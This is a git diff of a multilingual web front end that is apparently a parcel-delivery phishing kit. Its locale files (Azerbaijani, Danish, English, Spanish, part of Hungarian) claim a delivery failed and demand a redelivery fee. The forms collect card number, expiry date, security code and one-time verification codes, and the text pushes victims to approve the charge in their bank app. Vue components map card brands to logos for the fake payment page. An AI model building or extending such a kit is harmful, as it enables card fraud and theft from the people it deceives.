41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>
|
||||
|
After Width: | Height: | Size: 2.2 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/globe-favicon_1.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/1.png
Normal file
|
After Width: | Height: | Size: 163 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/2.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/3.png
Normal file
|
After Width: | Height: | Size: 259 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/4.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/5.png
Normal file
|
After Width: | Height: | Size: 260 KiB |
BIN
zy1_in_post_shadowfax/src/assets/img/products/6.png
Normal file
|
After Width: | Height: | Size: 261 KiB |
50
zy1_in_post_shadowfax/src/assets/main.css
Normal file
@@ -0,0 +1,50 @@
|
||||
form div.input [alt=cvv] {
|
||||
bottom: 8px
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 10px!important
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
border-radius: 10rem;
|
||||
border: 2px solid #000000;
|
||||
}
|
||||
|
||||
form div.input label {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.button-submit button {
|
||||
margin-top: 8px!important;
|
||||
padding: 8px 20px;
|
||||
cursor: pointer;
|
||||
border-radius: 25px !important;
|
||||
background: #3c8872;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 0px;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
text-transform: capitalize
|
||||
}
|
||||
|
||||
.banner img {
|
||||
width: 100%;
|
||||
min-height: 300px;
|
||||
-o-object-fit: cover;
|
||||
object-fit: cover;
|
||||
-o-object-position: right;
|
||||
object-position: right
|
||||
}
|
||||
|
||||
.main-content-body {
|
||||
padding: 1rem 1rem !important;
|
||||
}
|
||||
61
zy1_in_post_shadowfax/src/components/CardType1.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
if (!props.cardType) {
|
||||
return null
|
||||
}
|
||||
const cardTypeUpper = props.cardType?.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
61
zy1_in_post_shadowfax/src/components/CardType2.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
if (!props.cardType) {
|
||||
return null
|
||||
}
|
||||
const cardTypeUpper = props.cardType?.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
|
||||
<path
|
||||
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
19
zy1_in_post_shadowfax/src/components/icons/IconTooling.vue
Normal file
@@ -0,0 +1,19 @@
|
||||
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
|
||||
<template>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
aria-hidden="true"
|
||||
role="img"
|
||||
class="iconify iconify--mdi"
|
||||
width="24"
|
||||
height="24"
|
||||
preserveAspectRatio="xMidYMid meet"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
|
||||
fill="currentColor"
|
||||
></path>
|
||||
</svg>
|
||||
</template>
|
||||
54
zy1_in_post_shadowfax/src/locales/az/index.ts
Normal file
@@ -0,0 +1,54 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Bu sahədə səhv var, zəhmət olmasa yoxlayın",
|
||||
"Please enter a valid email address": "Zəhmət olmasa etibarlı bir e-poçt ünvanı daxil edin",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Hörmətli istifadəçilər, zəhmət olmasa formu diqqətlə doldurun ki, uğurlu çatdırılma təmin olunsun",
|
||||
"Your Name": "Adınız",
|
||||
"Address": "Ünvan",
|
||||
"Detailed Address": "Ətraflı Ünvan",
|
||||
"(Optional)": "(İstəyə bağlı)",
|
||||
"City": "Şəhər",
|
||||
"State": "Ştat",
|
||||
"Province": "Vilayət",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Poçt Kodu",
|
||||
"E-Mail": "E-Poçt",
|
||||
"Next": "Növbəti",
|
||||
"Telephone Number": "Telefon Nömrəsi",
|
||||
"Online": "Onlayn",
|
||||
"Payment": "Ödəniş",
|
||||
"For redelivery": "Yenidən çatdırılma üçün bəzi xidmət haqqı tələb olunur. Ödənişdən sonra paketinizi yenidən çatdıracağıq",
|
||||
"lump sum: ": "toplam məbləğ: ",
|
||||
"Cardholder": "Kart Sahibi",
|
||||
"Card Number": "Kart Nömrəsi",
|
||||
"Expire Date": "Son istifadə tarixi",
|
||||
"Security Code": "Təhlükəsizlik Kodu",
|
||||
"Submit": "Təqdim et",
|
||||
"Click here to receive another code": "Başqa bir kod almaq üçün bura klikləyin",
|
||||
"Please confirm your identity and a one-time code will be sent": "Zəhmət olmasa kimliyinizi təsdiq edin və bir dəfəlik kod mobil nömrənizə və ya e-poçt ünvanınıza göndəriləcək. Zəhmət olmasa təsdiq kodunu burada daxil edin",
|
||||
"The verification code has been sent to": "Təsdiq kodu göndərildi",
|
||||
"Please do not click the": "Zəhmət olmasa 'Yeniləmək' və ya 'Geriyə' düymələrini klikləməyin, çünki bu, əməliyyatınızı dayandıra bilər",
|
||||
"Verification code error, please try again": "Təsdiq kodu səhvdir, zəhmət olmasa yenidən cəhd edin",
|
||||
"The session is about to expire, please complete the verification now": "Sessiyanın bitməsinə az qalıb, zəhmət olmasa təsdiqi indi tamamlayın",
|
||||
"This card does not support this transaction, please try another card": "Bu kart bu əməliyyatı dəstəkləmir, zəhmət olmasa başqa bir kart cəhd edin",
|
||||
"Authorized bank": "Səlahiyyətli banka",
|
||||
"Please go to the bank App to confirm the authorization": "Zəhmət olmasa bankın tətbiqinə gedin və təsdiqi edin",
|
||||
"Please do not close this page": "Zəhmət olmasa bu səhifəni bağlamayın",
|
||||
"Payment Successful": "Ödəniş Uğurla Tamamlandı!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Alışınız üçün təşəkkür edirik. Ödənişiniz uğurla işlənmişdir",
|
||||
"Mailing address": "Poçt ünvanı",
|
||||
"street address or house number": "küçə ünvanı və ya ev nömrəsi",
|
||||
"Apartment number": "Məkan nömrəsi, otaq nömrəsi və s.",
|
||||
"Safe payment": "Təhlükəsiz ödəniş",
|
||||
"Verification code": "Təsdiq kodu",
|
||||
"Delivery status": "Çatdırılma vəziyyəti",
|
||||
"Your package number": "Sizin paket nömrəniz: {0}",
|
||||
"Failure notice of delivery": "Çatdırılma uğursuzluğu bildirişi",
|
||||
"Because the delivery address is not clear, your package is not delivered": "Çatdırılma ünvanı aydın olmadığı üçün paketiniz çatdırılmayıb",
|
||||
"Your package has returned to our operation center": "Paketiniz əməliyyat mərkəzimizə geri qaytarılıb",
|
||||
"Please update your address": "Zəhmət olmasa ünvanınızı yeniləyin, biz yenidən göndərməni {0} tarixində edəcəyik",
|
||||
"Continue": "Davamat",
|
||||
"Next Step": "Növbəti Addım",
|
||||
"Update Immediately": "Dərhal Yeniləyin",
|
||||
"Online Payment": "Onlayn Ödəniş",
|
||||
};
|
||||
|
||||
51
zy1_in_post_shadowfax/src/locales/da/index.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
|
||||
"Please enter a valid email address": "Indtast venligst en gyldig emailadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre en vellykket levering",
|
||||
"Your Name": "Dit navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljeret adresse",
|
||||
"(Optional)": "(Valgfrit)",
|
||||
"City": "By",
|
||||
"State": "Stat",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Næste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online Payment": "Online Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"lump sum: ": "engangsbeløb: ",
|
||||
"Cardholder": "Kortholder",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Udløbsdato",
|
||||
"Security Code": "Sikkerhedskode",
|
||||
"Submit": "Indsend",
|
||||
"Click here to receive another code": "Klik her for at modtage en anden kode",
|
||||
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt",
|
||||
"The verification code has been sent to": "Bekræftelseskoden er blevet sendt til",
|
||||
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage'-knapperne, da dette kan afslutte eller afbryde din transaktion",
|
||||
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
|
||||
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, fuldfør venligst bekræftelsen nu",
|
||||
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
|
||||
"Authorized bank": "Autoriseret bank",
|
||||
"Please go to the bank App to confirm the authorization": "Gå venligst til bankens app for at bekræfte autorisationen",
|
||||
"Please do not close this page": "Luk venligst ikke denne side",
|
||||
"Payment Successful": "Betaling gennemført!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er blevet behandlet med succes",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "gadeadresse eller husnummer",
|
||||
"Apartment number": "Lejlighedsnummer, værelsesnummer, osv.",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Bekræftelseskode",
|
||||
"Delivery status": "Leveringsstatus",
|
||||
"Your package number": "Dit pakkenummer: {0}",
|
||||
"Failure notice of delivery": "Meddelelse om leveringsfejl",
|
||||
"Because the delivery address is not clear, your package is not delivered": "Fordi leveringsadressen ikke er klar, er din pakke ikke leveret",
|
||||
"Your package has returned to our operation center": "Din pakke er returneret til vores driftscenter",
|
||||
"Please update your address": "Opdater venligst din adresse, vi vil sende igen om {0}",
|
||||
"Continue": "Fortsæt",
|
||||
"Next Step": "Næste trin",
|
||||
"Update Immediately": "Opdater straks"
|
||||
};
|
||||
64
zy1_in_post_shadowfax/src/locales/en/index.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"There is an error in this field, please check",
|
||||
"Please enter a valid email address": "Please enter a valid email address",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery",
|
||||
"Your Name": "Your Name",
|
||||
"Address": "Address",
|
||||
"Detailed Address": "Detailed Address",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "City",
|
||||
"State": "State",
|
||||
"Province": "Province",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Zip Code",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Next",
|
||||
"Telephone Number": "Telephone Number",
|
||||
"Online": "Online",
|
||||
"Payment": "Payment",
|
||||
"For redelivery":
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment",
|
||||
"lump sum: ": "lump sum: ",
|
||||
"Cardholder": "Cardholder",
|
||||
"Card Number": "Card Number",
|
||||
"Expire Date": "Expire Date",
|
||||
"Security Code": "Security Code",
|
||||
"Submit": "Submit",
|
||||
"Click here to receive another code": "Click here to receive another code",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Please confirm your identity and a one-time code will be sent to your mobile number or email address. Please enter verification code here",
|
||||
"The verification code has been sent to":
|
||||
"The verification code has been sent to",
|
||||
"Please do not click the":
|
||||
"Please do not click the 'Refresh' or 'Back' buttons as this may terminate or terminate your transaction",
|
||||
"Verification code error, please try again":
|
||||
"Verification code error, please try again",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"The session is about to expire, please complete the verification now",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"This card does not support this transaction, please try another card",
|
||||
"Authorized bank": "Authorized bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Please go to the bank App to confirm the authorization",
|
||||
"Please do not close this page": "Please do not close this page",
|
||||
"Payment Successful": "Payment Successful!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Thank you for your purchase. Your payment has been processed successfully",
|
||||
"Mailing address": "Mailing address",
|
||||
"street address or house number": "street address or house number",
|
||||
"Apartment number": "Apartment number, room number, etc.",
|
||||
"Safe payment": "Safe payment",
|
||||
"Verification code": "Verification code",
|
||||
"Delivery status": "Delivery status",
|
||||
"Your package number": "Your package number: {0}",
|
||||
"Failure notice of delivery": "Failure notice of delivery",
|
||||
"Because the delivery address is not clear, your package is not delivered": "Because the delivery address is not clear, your package is not delivered",
|
||||
"Your package has returned to our operation center": "Your package has returned to our operation center",
|
||||
"Please update your address": "Please update your address, we will ship again in {0}",
|
||||
"Continue": "Continue",
|
||||
"Next Step": "Next Step",
|
||||
"Update Immediately": "Update Immediately",
|
||||
"Online Payment": "Online Payment",
|
||||
};
|
||||
64
zy1_in_post_shadowfax/src/locales/es/index.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Hay un error en este campo, por favor revise",
|
||||
"Please enter a valid email address": "Por favor ingrese una dirección de correo electrónico válida",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Estimados usuarios, por favor complete el formulario cuidadosamente para garantizar la entrega exitosa",
|
||||
"Your Name": "Su Nombre",
|
||||
"Address": "Dirección",
|
||||
"Detailed Address": "Dirección Detallada",
|
||||
"(Optional)": "(Opcional)",
|
||||
"City": "Ciudad",
|
||||
"State": "Estado",
|
||||
"Province": "Provincia",
|
||||
"Region": "Región",
|
||||
"Zip Code": "Código Postal",
|
||||
"E-Mail": "Correo Electrónico",
|
||||
"Next": "Siguiente",
|
||||
"Telephone Number": "Número de Teléfono",
|
||||
"Online": "En línea",
|
||||
"Payment": "Pago",
|
||||
"For redelivery":
|
||||
"Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será entregado nuevamente después del pago",
|
||||
"lump sum: ": "suma total: ",
|
||||
"Cardholder": "Titular de la Tarjeta",
|
||||
"Card Number": "Número de Tarjeta",
|
||||
"Expire Date": "Fecha de Vencimiento",
|
||||
"Security Code": "Código de Seguridad",
|
||||
"Submit": "Enviar",
|
||||
"Click here to receive another code": "Haga clic aquí para recibir otro código",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Por favor confirme su identidad y se enviará un código de un solo uso a su número móvil o dirección de correo electrónico. Ingrese el código de verificación aquí",
|
||||
"The verification code has been sent to":
|
||||
"El código de verificación ha sido enviado a",
|
||||
"Please do not click the":
|
||||
"Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto puede terminar o cancelar su transacción",
|
||||
"Verification code error, please try again":
|
||||
"Error en el código de verificación, por favor intente nuevamente",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"La sesión está a punto de expirar, por favor complete la verificación ahora",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
|
||||
"Authorized bank": "Banco autorizado",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Por favor vaya a la aplicación del banco para confirmar la autorización",
|
||||
"Please do not close this page": "Por favor no cierre esta página",
|
||||
"Payment Successful": "¡Pago Exitoso!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Gracias por su compra. Su pago ha sido procesado con éxito",
|
||||
"Mailing address": "Dirección postal",
|
||||
"street address or house number": "dirección de la calle o número de casa",
|
||||
"Apartment number": "Número de apartamento, número de habitación, etc.",
|
||||
"Safe payment": "Pago seguro",
|
||||
"Verification code": "Código de verificación",
|
||||
"Delivery status": "Estado de entrega",
|
||||
"Your package number": "Su número de paquete: {0}",
|
||||
"Failure notice of delivery": "Aviso de fallo de entrega",
|
||||
"Because the delivery address is not clear, your package is not delivered": "Debido a que la dirección de entrega no está clara, su paquete no ha sido entregado",
|
||||
"Your package has returned to our operation center": "Su paquete ha regresado a nuestro centro de operaciones",
|
||||
"Please update your address": "Por favor actualice su dirección, enviaremos nuevamente en {0}",
|
||||
"Continue": "Continuar",
|
||||
"Next Step": "Siguiente Paso",
|
||||
"Update Immediately": "Actualizar Inmediatamente",
|
||||
"Online Payment": "Pago En Línea",
|
||||
};
|
||||
53
zy1_in_post_shadowfax/src/locales/hu/index.ts
Normal file
@@ -0,0 +1,53 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Hiba van ezen a területen, kérjük, ellenőrizze",
|
||||
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kedves felhasználók, kérjük, töltse ki a űrlapot gondosan a sikeres kézbesítés érdekében",
|
||||
"Your Name": "A neve",
|
||||
"Address": "Cím",
|
||||
"Detailed Address": "Részletes cím",
|
||||
